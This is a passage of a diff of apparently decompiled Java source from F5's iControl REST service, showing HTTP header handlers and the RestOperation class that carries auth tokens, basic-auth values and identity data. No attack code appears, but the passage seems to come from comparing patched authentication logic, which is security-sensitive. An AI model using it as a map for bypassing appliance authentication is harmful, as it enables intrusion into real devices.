headerValue, RestOperation op) {\n op.setIncomingContentType(headerValue);\n }\n });\n HEADER_HANDLERS.put(\"Content-Range\".toUpperCase(), new HeaderHandler()\n {\n public void processHeaderValue(String headerValue, RestOperation op) {\n op.setContentRange(headerValue);\n }\n });\n HEADER_HANDLERS.put(\"Content-Disposition\".toUpperCase(), new HeaderHandler()\n {\n public void processHeaderValue(String headerValue, RestOperation op) {\n op.setContentDisposition(headerValue);\n }\n });\n HEADER_HANDLERS.put(\"X-F5-Gossip\".toUpperCase(), new HeaderHandler()\n {\n public void processHeaderValue(String headerValue, RestOperation op) {\n op.setGossipHeader(headerValue);\n }\n });\n HEADER_HANDLERS.put(\"X-F5-Api-Status\".toUpperCase(), new HeaderHandler()\n {\n public void processHeaderValue(String headerValue, RestOperation op) {\n HttpParserHelper.formatFromApiStatusHeader(op, headerValue);\n }\n });\n HEADER_HANDLERS.put(\"X-F5-Config-Api-Status\".toUpperCase(), new HeaderHandler()\n {\n public void processHeaderValue(String bitMaskStr, RestOperation op) {\n try {\n long bitMask = Long.parseLong(bitMaskStr);\n op.setXF5ConfigApiStatus(bitMask);\n }\n catch (NumberFormatException ignored) {}\n }\n });\n HEADER_HANDLERS.put(\"Cookie\".toUpperCase(), new HeaderHandler()\n {\n \n \n public void processHeaderValue(String headerValue, RestOperation op)\n {\n if (headerValue.endsWith(\";\")) {\n headerValue = headerValue + \" \";\n }\n if (!headerValue.endsWith(\"; \")) {\n headerValue = headerValue + \"; \";\n }\n HttpParserHelper.parseCookieJarElements(op, headerValue);\n }\n });\n HEADER_HANDLERS.put(\"WWW-Authenticate\".toUpperCase(), new HeaderHandler()\n {\n public void processHeaderValue(String headerValue, RestOperation op) {\n op.setWwwAuthenticate(headerValue);\n }\n });\n HEADER_HANDLERS.put(\"X-F5-REST-Coordination-Id\".toUpperCase(), new HeaderHandler()\n {\n public void processHeaderValue(String headerValue, RestOperation op) {\n op.setCoordinationId(headerValue);\n }\n });\n }\n \n \n public static void setHostIpAddress(HttpServletRequest request, RestOperation operation) {\n if (request == null || operation == null) {\n return;\n }\n \n if (operation.getAdditionalHeader(\"X-Forwarded-Host\") == null || operation.getAdditionalHeader(\"X-Forwarded-Host\").isEmpty()) {\n \n \n String requestUrl = request.getRequestURL().toString();\n String hostIpAddress = \"localhost\";\n if (requestUrl != null && requestUrl.contains(\"://\")) {\n \n \n requestUrl = requestUrl.split(\"://\")[1];\n hostIpAddress = requestUrl.split(\"/\")[0];\n }\n operation.addAdditionalHeader(\"X-Forwarded-Host\", hostIpAddress);\n }\n }\n \n private RestOperation createRestOperationFromServletRequest(HttpServletRequest request) throws URISyntaxException {\n String port = getInitParameter(\"port\");\n String fullUrl = getFullURL(request);\n \n URI targetUri = new URI(String.format(\"%s%s:%s%s\", new Object[] { \"http://\", \"localhost\", port, fullUrl }));\n \n \n \n \n \n RestOperation op = RestOperation.create().setMethod(RestOperation.RestMethod.valueOf(request.getMethod().toUpperCase())).setUri(targetUri);\n \n \n \n Enumeration<String> headerNames = request.getHeaderNames();\n while (headerNames.hasMoreElements()) {\n String headerName = headerNames.nextElement();\n String headerValue = request.getHeader(headerName);\n if (RestOperation.isStandardHeader(headerName)) {\n if (headerValue == null) {\n this.logger.warning(headerName + \" doesn't have value, so skipping\");\n continue;\n }\n HeaderHandler headerHandler = HEADER_HANDLERS.get(headerName.toUpperCase());\n if (headerHandler != null) {\n headerHandler.processHeaderValue(headerValue, op);\n }\n continue;\n }\n op.addAdditionalHeader(headerName, headerValue);\n }\n \n \n \n \n \n \n if (fullUrl.substring(1).startsWith(\"mgmt\")) {\n setHostIpAddress(request, op);\n }\n \n return op;\n }\n \n private static interface HeaderHandler {\n void processHeaderValue(String param1String, RestOperation param1RestOperation);\n }\n }\n diff --git a/com/f5/rest/common/RestOperation.java b/com/f5/rest/common/RestOperation.java\n index ee882d4..fc91fdd 100644\n --- a/com/f5/rest/common/RestOperation.java\n +++ b/com/f5/rest/common/RestOperation.java\n @@ -1,2875 +1,2876 @@\n package com.f5.rest.common;\n \n import com.f5.rest.workers.AuthTokenItemState;\n import com.f5.rest.workers.authz.AuthzHelper;\n import com.google.gson.Gson;\n import com.google.gson.GsonBuilder;\n import com.google.gson.JsonElement;\n import com.google.gson.JsonObject;\n import com.google.gson.JsonParser;\n import com.google.gson.JsonSyntaxException;\n import java.io.Reader;\n import java.lang.reflect.Type;\n import java.net.SocketAddress;\n import java.net.URI;\n import java.nio.charset.StandardCharsets;\n import java.security.cert.Certificate;\n import java.util.ArrayList;\n import java.util.Date;\n import java.util.EnumSet;\n import java.util.HashMap;\n import java.util.HashSet;\n +import java.util.Iterator;\n import java.util.List;\n import java.util.Map;\n import java.util.Set;\n import java.util.concurrent.atomic.AtomicInteger;\n import java.util.concurrent.atomic.AtomicLong;\n import java.util.logging.Level;\n import javax.xml.bind.DatatypeConverter;\n import org.joda.time.DateTime;\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n public class RestOperation\n implements Cloneable\n {\n public static class HttpException\n extends Exception\n {\n private static final long serialVersionUID = 1L;\n \n public HttpException(String message) {\n super(message);\n }\n }\n \n private static final RestLogger LOGGER = new RestLogger(RestOperation.class, \"\");\n \n public static final int STATUS_OK = 200;\n \n public static final int STATUS_CREATED = 201;\n \n public static final int STATUS_ACCEPTED = 202;\n \n public static final int STATUS_NO_CONTENT = 204;\n \n public static final int STATUS_PARTIAL_CONTENT = 206;\n \n public static final int STATUS_FOUND = 302;\n \n public static final int STATUS_BAD_REQUEST = 400;\n public static final int STATUS_FAILURE_THRESHOLD = 400;\n public static final int STATUS_UNAUTHORIZED = 401;\n public static final int STATUS_FORBIDDEN = 403;\n public static final int STATUS_NOT_FOUND = 404;\n public static final int STATUS_METHOD_NOT_ALLOWED = 405;\n public static final int STATUS_NOT_ACCEPTABLE = 406;\n public static final int STATUS_CONFLICT = 409;\n public static final int STATUS_INTERNAL_SERVER_ERROR = 500;\n public static final int STATUS_NOT_IMPLEMENTED = 501;\n public static final int STATUS_BAD_GATEWAY = 502;\n public static final int STATUS_SERVICE_UNAVAILABLE = 503;\n public static final int STATUS_INSUFFICIENT_STORAGE = 507;\n public static final String REMOTE_SENDER_IN_PROCESS = \"InProcess\";\n public static final String REMOTE_SENDER_UNKNOWN = \"Unknown\";\n public static final String EMPTY_JSON_BODY = \"{}\";\n public static final long UNKNOWN_CONTENT_LENGTH = -1L;\n public static String WILDCARD = \"*\";\n public static String WILDCARD_PATH = \"/\" + WILDCARD;\n \n \n \n private Certificate[] serverCertificateChain;\n \n \n \n \n public static class ParsedCollectionEntry\n {\n public String collectionName;\n \n \n \n public String entryKey;\n }\n \n \n \n \n public enum RestMethod\n {\n GET, POST, PUT, DELETE, PATCH, OPTIONS;\n \n private static final String[] methodHandlerNames = new String[] { \"onGet\", \"onPost\", \"onPut\", \"onDelete\", \"onPatch\", \"onOptions\" };\n static {\n \n }\n \n public String getMethodHandlerName() {\n return methodHandlerNames[ordinal()];\n }\n }\n \n \n \n \n public enum RestOperationFlags\n {\n IDENTIFIED,\n \n VERIFIED;\n }\n \n public static boolean contentTypeEquals(String mediaTypeA, String mediaTypeB) {\n return (mediaTypeA.hashCode() == mediaTypeB.hashCode());\n }\n \n \n \n \n \n public Certificate[] getServerCertificateChain() {\n return this.serverCertificateChain;\n }\n \n RestOperation setServerCertificateChain(Certificate[] certificates) {\n this.serverCertificateChain = certificates;\n return this;\n }\n \n \n protected static final AtomicInteger maxMessageBodySize = new AtomicInteger(33554432);\n \n \n \n protected static final AtomicInteger defaultMessageBodySize = new AtomicInteger(16384);\n \n \n private static Gson gson = allocateGson(false);\n private static Gson extendedGson = allocateGson(true); public static final String HTTP_HEADER_FIELD_VALUE_SEPARATOR = \":\"; public static final String X_F5_REST_COORDINATION_ID_HEADER = \"X-F5-REST-Coordination-Id\"; public static final String X_F5_REST_COORDINATION_ID_HEADER_WITH_COLON = \"X-F5-REST-Coordination-Id:\"; public static final String X_FORWARDED_FOR_HEADER = \"X-Forwarded-For\"; public static final String X_FORWARDED_FOR_HEADER_WITH_COLON = \"X-Forwarded-For:\"; public static final String X_F5_AUTH_TOKEN_HEADER = \"X-F5-Auth-Token\"; public static final String X_F5_AUTH_TOKEN_HEADER_WITH_COLON = \"X-F5-Auth-Token:\"; public static final String X_AUTH_TOKEN_HEADER = \"X-Auth-Token\"; public static final String X_AUTH_TOKEN_HEADER_WITH_COLON = \"X-Auth-Token:\"; public static final String X_F5_GOSSIP_HEADER = \"X-F5-Gossip\"; public static final String X_F5_GOSSIP_HEADER_WITH_COLON = \"X-F5-Gossip:\"; public static final String BASIC_REALM_REST_API = \"Basic realm='REST API'\"; public static final String WWW_AUTHENTICATE_HEADER = \"WWW-Authenticate\"; public static final String WWW_AUTHENTICATE_HEADER_WITH_COLON = \"WWW-Authenticate:\";\n \n static Gson getGson() {\n return gson;\n }\n public static final String HOST_HEADER = \"Host\"; public static final String CONNECTION_HEADER = \"Connection\"; public static final String CONTENT_TYPE_HEADER = \"Content-Type\"; public static final String CONTENT_DISPOSITION_HEADER = \"Content-Disposition\"; public static final String CONTENT_LENGTH_HEADER = \"Content-Length\"; public static final String CONTENT_RANGE_HEADER = \"Content-Range\"; public static final String USER_AGENT_HEADER = \"User-Agent\"; public static final String SET_COOKIE_HEADER = \"Set-Cookie\"; public static final String DATE_HEADER = \"Date\"; public static final String SERVER_HEADER = \"Server\"; public static final String CACHE_CONTROL_HEADER = \"Cache-Control\"; public static final String PRAGMA_HEADER = \"Pragma\"; public static final String EXPIRES_HEADER = \"Expires\"; public static final String ACCEPT_HEADER = \"Accept\";\n static Gson getExtendedGson() {\n return extendedGson;\n }\n \n \n \n \n \n \n \n \n private static Gson allocateGson(boolean makeExtendedGson) {\n GsonBuilder bldr = (new GsonBuilder()).disableHtmlEscaping().setDateFormat(\"yyyy-MM-dd'T'HH:mm:ss.SSSZ\").registerTypeAdapter(DateTime.class, new DateTimeTypeAdapter());\n \n \n \n \n \n \n \n \n if (makeExtendedGson) {\n bldr.registerTypeHierarchyAdapter(RestWorkerState.class, new RestWorkerStateSerializer());\n }\n \n return bldr.create();\n }\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n public static final int ACCEPT_HEADER_LENGTH = \"Accept\".length();\n \n public static final String ACCESS_CONTROL_ALLOW_HEADERS_HEADER = \"Access-Control-Allow-Headers\";\n public static final int ACCESS_CONTROL_ALLOW_HEADERS_HEADER_LENGTH = \"Access-Control-Allow-Headers\".length();\n \n public static final String ACCESS_CONTROL_ALLOW_ORIGIN_HEADER = \"Access-Control-Allow-Origin\";\n public static final int ACCESS_CONTROL_ALLOW_ORIGIN_HEADER_LENGTH = \"Access-Control-Allow-Origin\".length();\n \n public static final String ACCESS_CONTROL_MAX_AGE_HEADER = \"Access-Control-Max-Age\";\n \n public static final int ACCESS_CONTROL_MAX_AGE_HEADER_LENGTH = \"Access-Control-Max-Age\".length();\n \n public static final String ACCESS_CONTROL_ALLOW_METHODS_HEADER = \"Access-Control-Allow-Methods\";\n \n public static final int ACCESS_CONTROL_ALLOW_METHODS_HEADER_LENGTH = \"Access-Control-Allow-Methods\".length();\n \n \n public static final String ACCESS_CONTROL_ALLOW_CREDENTIALS_HEADER = \"Access-Control-Allow-Credentials\";\n \n public static final int ACCESS_CONTROL_ALLOW_CREDENTIALS_HEADER_LENGTH = \"Access-Control-Allow-Credentials\".length();\n \n \n public static final String ACCESS_CONTROL_REQUEST_HEADERS_HEADER = \"Access-Control-Request-Headers\";\n \n public static final int ACCESS_CONTROL_REQUEST_HEADERS_HEADER_LENGTH = \"Access-Control-Request-Headers\".length();\n \n public static final String AUTHORIZATION_HEADER = \"Authorization\";\n \n public static final String TRANSFER_ENCODING_HEADER = \"Transfer-Encoding\";\n \n public static final String REFERER_HEADER = \"Referer\";\n \n public static final String BASIC_AUTHORIZATION_HEADER = \"Authorization: Basic \";\n public static final String BASIC_AUTHORIZATION_HEADER_LOWERCASE = \"Authorization: Basic \".toLowerCase();\n \n public static final int BASIC_AUTHORIZATION_HEADER_LENGTH = \"Authorization: Basic \".length();\n \n public static final String COOKIE_HEADER = \"Cookie\";\n public static final int COOKIE_HEADER_LENGTH = \"Cookie\".length();\n \n public static final String COOKIE_HEADER_VALUE_SEPARATOR = \";\";\n \n public static final String TMUI_DUBBUF_HEADER = \"Tmui-Dubbuf\";\n \n public static final String ALLOW_HEADER = \"Allow\";\n \n public static final String LOCATION_HEADER = \"Location\";\n \n public static final String X_F5_API_STATUS_HEADER = \"X-F5-Api-Status\";\n \n public static final String X_F5_API_STATUS_HEADER_WITH_COLON = \"X-F5-Api-Status:\";\n \n public static final String X_F5_CONFIG_API_STATUS_HEADER = \"X-F5-Config-Api-Status\";\n \n public static final String X_F5_CONFIG_API_STATUS_HEADER_WITH_COLON = \"X-F5-Config-Api-Status:\";\n \n public static final String X_F5_NEW_AUTHTOK_REQD_HEADER = \"X-F5-New-Authtok-Reqd\";\n \n public static final String X_FORWARDED_HOST_HEADER = \"X-Forwarded-Host\";\n \n public static final String X_REAL_IP_HEADER = \"X-Real-IP\";\n private static final String[] STANDARD_HEADERS = new String[] { \"Cache-Control\", \"Pragma\", \"Expires\", \"Content-Type\", \"Content-Range\", \"Content-Disposition\", \"Content-Length\", \"Authorization\", \"X-F5-Auth-Token\", \"WWW-Authenticate\", \"X-Auth-Token\", \"X-Forwarded-For\", \"Referer\", \"X-F5-REST-Coordination-Id\", \"User-Agent\", \"Accept\", \"Connection\", \"Transfer-Encoding\", \"Host\", \"Date\", \"Server\", \"Connection\", \"Allow\", \"X-F5-Gossip\", \"X-F5-Api-Status\", \"X-F5-Config-Api-Status\" };\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n private static final HashSet<String> standardHeadersSet = getStandardHeadersSet(); public static final String CONNECTION_HEADER_VALUE_CLOSE = \"close\"; public static final String MIME_TYPE_APPLICATION_JSON = \"application/json\"; public static final String MIME_TYPE_APPLICATION_XML = \"application/xml\"; public static final String MIME_TYPE_APPLICATION_JAVASCRIPT = \"application/javascript\"; public static final String MIME_TYPE_APPLICATION_X_JAVASCRIPT = \"application/x-javascript\"; public static final String MIME_TYPE_TEXT_JAVASCRIPT = \"text/javascript\"; public static final String MIME_TYPE_TEXT_HTML = \"text/html\"; public static final String MIME_TYPE_TEXT_CSS = \"text/css\"; public static final String MIME_TYPE_TEXT_CSV = \"text/csv\"; public static final String MIME_TYPE_TEXT_XML = \"text/xml\"; public static final String MIME_TYPE_IMAGE_BMP = \"image/bmp\"; public static final String MIME_TYPE_IMAGE_GIF = \"image/gif\"; public static final String MIME_TYPE_IMAGE_JPEG = \"image/jpeg\"; public static final String MIME_TYPE_IMAGE_PNG = \"image/png\"; public static final String MIME_TYPE_IMAGE_SVG = \"image/svg+xml\"; public static final String MIME_TYPE_IMAGE_TIFF = \"image/tiff\";\n \n private static HashSet<String> getStandardHeadersSet() {\n HashSet<String> headerSet = new HashSet<>();\n for (String header : STANDARD_HEADERS) {\n headerSet.add(header.toLowerCase());\n }\n \n return headerSet;\n }\n \n \n \n \n \n \n \n \n public static boolean isStandardHeader(String header) {\n return standardHeadersSet.contains(header.toLowerCase());\n }\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n public static final String MIME_ENCODING_UTF8 = StandardCharsets.UTF_8.name();\n \n public static final String MIME_TYPE_APPLICATION_OCTET_STREAM = \"application/octet-stream\";\n \n public static final String CHUNKED_TRANSFER_ENCODING = \"chunked\";\n \n public static final String PORT_SEPARATOR = \":\";\n \n public static final String PATH_SEPARATOR = \"/\";\n public static final char PATH_SEPARATOR_CHAR = '/';\n public static final String EMPTY_STRING = \"\";\n public static final char QUERY_SEPARATOR = '?';\n public static final String QUERY_SEPARATOR_STRING = Character.toString('?');\n \n \n public static final char QUERY_PARAM_SEPARATOR = '&';\n \n public static final char QUERY_EQUALS = '=';\n \n public static final String QUERY_PARAM_SEPARATOR_STRING = \"&\";\n \n public static final String GENERATION_QUERY_PARAM_NAME = \"generation\";\n \n public static final String LAST_UPDATE_MICROS_QUERY_PARAM_NAME = \"lastUpdateMicros\";\n \n static final int DEFAULT_RETRY_COUNT = 5;\n \n private RestRequestCompletion completion;\n \n \n public static RestOperation create() {\n RestOperation self = new RestOperation();\n self.restOperationFlags = EnumSet.noneOf(RestOperationFlags.class);\n return self;\n }\n \n \n \n \n \n \n \n \n \n \n public static RestOperation createIdentified() {\n RestOperation self = create();\n \n \n self.restOperationFlags.add(RestOperationFlags.IDENTIFIED);\n \n return self;\n }\n \n \n \n \n \n \n \n \n \n \n \n \n public static RestOperation createIdentified(RestOperation original) {\n RestOperation copy = (RestOperation)original.clone();\n \n \n copy.restOperationFlags.clear();\n \n \n copy.restOperationFlags.add(RestOperationFlags.IDENTIFIED);\n \n return copy.setXF5AuthToken(null);\n }\n \n \n \n \n \n \n \n \n \n \n \n public static RestOperation createIdentified(String identifiedGroupName) {\n RestOperation self = createIdentified();\n self.identifiedGroupName = identifiedGroupName;\n return self;\n }\n \n \n \n \n public static RestOperation createSigned() {\n return create();\n }\n \n \n \n \n \n \n \n public static RestOperation createSignedAndVerified() {\n RestOperation self = create();\n self.restOperationFlags.add(RestOperationFlags.VERIFIED);\n return self;\n }\n \n \n \n \n private static class AuthorizationData\n {\n public String basicAuthValue;\n \n \n \n public String xAuthToken;\n \n \n \n public AuthTokenItemState xF5AuthTokenState;\n \n \n public String wwwAuthenticate;\n \n \n \n private AuthorizationData() {}\n }\n \n \n \n private static class IdentityData\n {\n public String userName;\n \n \n public RestReference userReference;\n \n \n public RestReference[] groupReferences;\n \n \n \n private IdentityData() {}\n }\n \n \n private final HashMap<String, String> parameters = new HashMap<>();\n \n \n \n \n private HttpHeaderFields[] additionalHeaders;\n \n \n \n private static AtomicLong nextId = new AtomicLong(0L);\n \n private final long id;\n \n private URI uri;\n \n private Date expiration = new Date(RestHelper.getCurrentTimeInMillis() + RestHelper.getOperationTimeoutMillis());\n \n \n private RestMethod method;\n \n \n private String incomingContentType;\n \n \n private String contentType;\n \n private String contentEncoding;\n \n private String accept;\n \n private String body;\n \n private byte[] binaryBody;\n \n private long contentLength = -1L;\n \n \n private String contentRange;\n \n \n private Object deserializedBody;\n \n \n private Type deserializedBodyType;\n \n \n private boolean isResponse;\n \n \n private boolean isForceSocketEnabled;\n \n private boolean isConnectionKeepAlive = true;\n \n private boolean isConnectionCloseRequested;\n \n private EnumSet<RestOperationFlags> restOperationFlags;\n \n private String xForwardedFor;\n \n private int retriesRemaining = 5;\n \n private final AtomicInteger completionCount = new AtomicInteger(0);\n \n private int httpHeaderByteCount;\n \n private int statusCode = 200;\n \n \n private AuthorizationData authorizationData;\n \n \n private IdentityData identityData;\n \n \n private String transferEncoding;\n \n \n private List<ParsedCollectionEntry> parsedUriCollectionEntries;\n \n \n private SocketAddress sourceAddress;\n \n \n private String referer;\n \n \n private String coordinationId;\n \n \n private boolean isRollbackRequest;\n \n \n private String contentDisposition;\n \n \n private String identifiedGroupName;\n \n \n private boolean isTrustedRequest;\n \n \n private String allow;\n \n \n private Boolean resourceDeprecated;\n \n \n private Boolean resourceEarlyAccess;\n \n \n private Boolean propertyDeprecated;\n \n \n private Boolean propertyEarlyAccess;\n \n \n private long xF5ConfigApiStatus;\n \n \n private String origin;\n \n private String senderNote;\n \n private String gossipHeader;\n \n private static final int DEFAULT_HEADER_BUFFER_SIZE = 256;\n \n private StringBuilder responseHeadersTrace;\n \n private volatile StringBuilder requestHeadersTrace;\n \n private boolean isRestErrorResponseRequired = true;\n \n private Boolean isPublicRequest;\n \n \n public void setIsPublicRequestToTrue() {\n this.isPublicRequest = Boolean.TRUE;\n }\n \n \n \n \n \n \n public boolean isPublicRequest() {\n return (this.isPublicRequest != null && this.isPublicRequest.booleanValue());\n }\n \n \n \n \n \n \n \n public void appendResponseHeaderTrace(String headerLine) {\n if (RestHelper.getOperationTracingLevel().intValue() > Level.FINER.intValue()) {\n return;\n }\n \n if (this.responseHeadersTrace == null) {\n this.responseHeadersTrace = new StringBuilder(256);\n }\n this.responseHeadersTrace.append(headerLine);\n }\n \n \n \n \n \n \n \n \n \n public void appendRequestHeaderTrace(String headerName, String headerValue) {\n if (RestHelper.getOperationTracingLevel().intValue() > Level.FINER.intValue()) {\n return;\n }\n \n if (this.requestHeadersTrace == null) {\n this.requestHeadersTrace = new StringBuilder(256);\n }\n appendHeaderTrace(this.requestHeadersTrace, headerName, headerValue);\n }\n \n \n private void appendHeaderTrace(StringBuilder headersTraceBuilder, String headerName, String headerValue) {\n headersTraceBuilder.append(headerName);\n headersTraceBuilder.append(\": \");\n headersTraceBuilder.append(headerValue);\n headersTraceBuilder.append(\"\\n\");\n }\n \n \n \n \n \n \n \n \n public String getResponseHeadersTrace() {\n return (RestHelper.getOperationTracingLevel().intValue() <= Level.FINER.intValue() && this.responseHeadersTrace != null) ? this.responseHeadersTrace.toString() : null;\n }\n \n \n \n \n \n \n \n \n \n \n public String getRequestHeadersTrace() {\n return (RestHelper.getOperationTracingLevel().intValue() <= Level.FINER.intValue() && this.requestHeadersTrace != null) ? this.requestHeadersTrace.toString() : null;\n }\n \n \n private RestOperation() {\n this.id = nextId.getAndIncrement();\n }\n \n \n \n public String toString() {\n return String.format(\"[\\n id=%s\\n referer=%s\\n uri=%s\\n method=%s\\n statusCode=%d\\n contentType=%s\\n contentLength=%d\\n contentRange=%s\\n deadline=%s\\n body=%s\\n forceSocket=%s\\n isResponse=%s\\n retriesRemaining=%s\\n coordinationId=%s\\n isConnectionCloseRequested=%s\\n isConnectionKeepAlive=%s\\n isRestErrorResponseRequired=%s\\n AdditionalHeadersAsString=\\n%s\\n ResponseHeadersTrace=%s\\n X-F5-Config-Api-Status=%d]\", new Object[] { Long.valueOf(this.id), this.referer, this.uri, getMethod(), Integer.valueOf(getStatusCode()), getContentType(), Long.valueOf(getContentLength()), getContentRange(), getExpiration(), getBodyAsString(), Boolean.valueOf(getForceSocket()), Boolean.valueOf(isResponse()), Integer.valueOf(getRetriesRemaining()), getCoordinationId(), Boolean.valueOf(isConnectionCloseRequested()), Boolean.valueOf(isConnectionKeepAlive()), Boolean.valueOf(isRestErrorResponseRequired()), getAdditionalHeadersAsString(\" \"), (getResponseHeadersTrace() == null) ? \"\" : String.format(\" %s\\n\", new Object[] { getResponseHeadersTrace() }), Long.valueOf(getXF5ConfigApiStatus()) });\n }\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n public long getId() {\n return this.id;\n }\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n public String getReferer() {\n return this.referer;\n }\n \n \n \n \n \n \n public RestOperation setReferer(String referer) {\n this.referer = referer;\n return this;\n }\n \n \n \n \n public RestOperation setOneTryOnly() {\n this.retriesRemaining = 1;\n return this;\n }\n \n \n \n \n int decrementRetriesRemaining() {\n return --this.retriesRemaining;\n }\n \n \n \n \n int getRetriesRemaining() {\n return this.retriesRemaining;\n }\n \n \n \n \n \n \n \n \n \n void setRetriesRemaining(int retriesRemaining) {\n this.retriesRemaining = retriesRemaining;\n }\n \n \n \n \n RestOperation clearRetriesRemaining() {\n this.retriesRemaining = 0;\n return this;\n }\n \n \n \n \n \n \n public int getCompletionCount() {\n return this.completionCount.get();\n }\n \n \n \n \n void resetCompletionCount() {\n this.completionCount.set(0);\n }\n \n \n \n \n public String getXForwarderdFor() {\n return this.xForwardedFor;\n }\n \n \n \n \n \n public String getRemoteSender() {\n if (this.xForwardedFor != null) {\n return this.xForwardedFor;\n }\n \n if (this.referer != null) {\n return this.referer;\n }\n return \"Unknown\";\n }\n \n \n \n \n public RestOperation setContentLength(long contentLength) {\n this.contentLength = contentLength;\n return this;\n }\n \n \n \n \n public RestRequestCompletion getCompletion() {\n return this.completion;\n }\n \n \n \n \n public boolean isConnectionKeepAlive() {\n return this.isConnectionKeepAlive;\n }\n \n \n \n \n \n \n \n public RestOperation setConnectionKeepAlive(boolean isConnectionKeepAlive) {\n this.isConnectionKeepAlive = isConnectionKeepAlive;\n return this;\n }\n \n \n \n \n public boolean isConnectionCloseRequested() {\n return this.isConnectionCloseRequested;\n }\n \n \n \n \n \n \n \n \n \n public RestOperation setConnectionClose(boolean isConnectionCloseRequested) {\n this.isConnectionCloseRequested = isConnectionCloseRequested;\n return this;\n }\n \n \n \n \n int getHttpHeaderByteCount() {\n return this.httpHeaderByteCount;\n }\n \n \n \n \n RestOperation setHttpHeaderByteCount(int byteCount) {\n this.httpHeaderByteCount = byteCount;\n return this;\n }\n \n \n \n \n RestOperation flipToResponse(boolean clearBody) {\n removeAdditionalHeader(\"Tmui-Dubbuf\");\n \n this.isResponse = true;\n this.parameters.clear();\n this.httpHeaderByteCount = 0;\n \n if (this.authorizationData != null) {\n this.authorizationData.basicAuthValue = null;\n }\n if (clearBody) {\n clearBody();\n }\n return this;\n }\n \n \n \n \n void clearBody() {\n this.contentLength = -1L;\n this.binaryBody = null;\n this.body = null;\n this.deserializedBody = null;\n this.deserializedBodyType = null;\n }\n \n public boolean isResponse() {\n return this.isResponse;\n }\n \n public RestOperation setForceSocket(boolean forceSocket) {\n this.isForceSocketEnabled = forceSocket;\n return this;\n }\n \n public boolean getForceSocket() {\n return this.isForceSocketEnabled;\n }\n \n public RestOperation setCompletion(RestRequestCompletion completion) {\n this.completion = completion;\n return this;\n }\n \n public RestOperation setMethod(RestMethod method) {\n this.method = method;\n return this;\n }\n \n public RestMethod getMethod() {\n return this.method;\n }\n \n public RestOperation setContentDisposition(String contentDisposition) {\n this.contentDisposition = contentDisposition;\n return this;\n }\n \n public String getContentDisposition() {\n return this.contentDisposition;\n }\n \n public RestOperation setContentType(String contentType) {\n this.incomingContentType = null;\n this.contentType = contentType;\n return this;\n }\n \n public RestOperation setIncomingContentType(String contentType) {\n this.incomingContentType = contentType;\n this.contentType = null;\n return this;\n }\n \n public RestOperation defaultToContentTypeJson() {\n return setContentType(\"application/json\");\n }\n \n public String getContentType() {\n return (this.contentType == null) ? this.incomingContentType : this.contentType;\n }\n \n public String getOutgoingContentType() {\n return this.contentType;\n }\n \n public String getOutgoingContentEncoding() {\n if (this.contentEncoding != null) {\n return this.contentEncoding;\n }\n \n if (this.contentEncoding == null && this.contentType.equals(\"application/json\")) {\n return MIME_ENCODING_UTF8;\n }\n return null;\n }\n \n public RestOperation setContentRange(String contentRange) {\n this.contentRange = contentRange;\n if (this.contentRange != null) {\n this.contentRange = this.contentRange.trim();\n }\n return this;\n }\n \n public String getContentRange() {\n if (this.contentRange == null) {\n return null;\n }\n return this.contentRange.trim();\n }\n \n \n \n \n \n \n \n public String getAccept() {\n return this.accept;\n }\n \n \n \n \n \n \n public RestOperation setAccept(String accept) {\n this.accept = accept;\n return this;\n }\n \n private void setupAuthorizationData() {\n if (this.authorizationData == null) {\n this.authorizationData = new AuthorizationData();\n }\n }\n \n \n \n \n \n \n \n \n \n public void setBasicAuthFromIdentity() {\n if (this.authorizationData == null) {\n return;\n }\n \n this.authorizationData.basicAuthValue = AuthzHelper.encodeBasicAuth(getAuthUser(), null);\n }\n \n \n \n \n \n \n \n \n \n \n \n public RestOperation setBasicAuthorizationHeader(String value) {\n setupAuthorizationData();\n \n \n if (value != null) {\n byte[] data = DatatypeConverter.parseBase64Binary(value);\n if (data == null || data.length == 0) {\n LOGGER.warningFmt(\"Basic Authorization header set to value that is invalid base64. Value: %s\", new Object[] { value });\n \n value = null;\n }\n }\n \n this.authorizationData.basicAuthValue = value;\n return this;\n }\n \n \n \n \n \n public RestOperation setBasicAuthorization(Void dummy) {\n if (this.authorizationData != null) {\n this.authorizationData.basicAuthValue = null;\n }\n return this;\n }\n \n \n \n \n \n \n \n public RestOperation setBasicAuthorization(String user, String password) {\n setIdentityData(user, null, null);\n setBasicAuthorizationHeader(AuthzHelper.encodeBasicAuth(user, password));\n return this;\n }\n \n \n \n \n \n public RestOperation setAdminIdentity() {\n RestReference adminReference = AuthzHelper.getDefaultAdminReference();\n if (adminReference != null) {\n setIdentityData(null, adminReference, null);\n }\n return this;\n }\n \n \n \n \n \n \n public RestOperation setIdentityFrom(RestOperation incomingRequest) {\n this.identityData = null;\n if (incomingRequest.identityData != null) {\n setIdentityData(incomingRequest.identityData.userName, incomingRequest.identityData.userReference, incomingRequest.identityData.groupReferences);\n }\n \n \n this.authorizationData = null;\n if (incomingRequest.authorizationData != null) {\n this.authorizationData = new AuthorizationData();\n this.authorizationData.basicAuthValue = incomingRequest.authorizationData.basicAuthValue;\n }\n \n return this;\n }\n \n \n \n \n \n \n \n public RestOperation setIdentityData(String userName, RestReference userReference, RestReference[] groupReferences) {\n if (userName == null && !RestReference.isNullOrEmpty(userReference)) {\n \n \n String segment = UrlHelper.getLastPathSegment(userReference.link);\n if (userReference.link.equals(UrlHelper.buildPublicUri(UrlHelper.buildUriPath(new String[] { WellKnownPorts.AUTHZ_USERS_WORKER_URI_PATH, segment }))))\n {\n userName = segment;\n }\n }\n if (userName != null && RestReference.isNullOrEmpty(userReference)) {\n userReference = new RestReference(UrlHelper.buildPublicUri(UrlHelper.buildUriPath(new String[] { WellKnownPorts.AUTHZ_USERS_WORKER_URI_PATH, userName })));\n }\n \n \n this.identityData = new IdentityData();\n this.identityData.userName = userName;\n this.identityData.userReference = userReference;\n this.identityData.groupReferences = groupReferences;\n return this;\n }\n \n \n \n \n \n public String getBasicAuthorization() {\n if (this.authorizationData == null) {\n 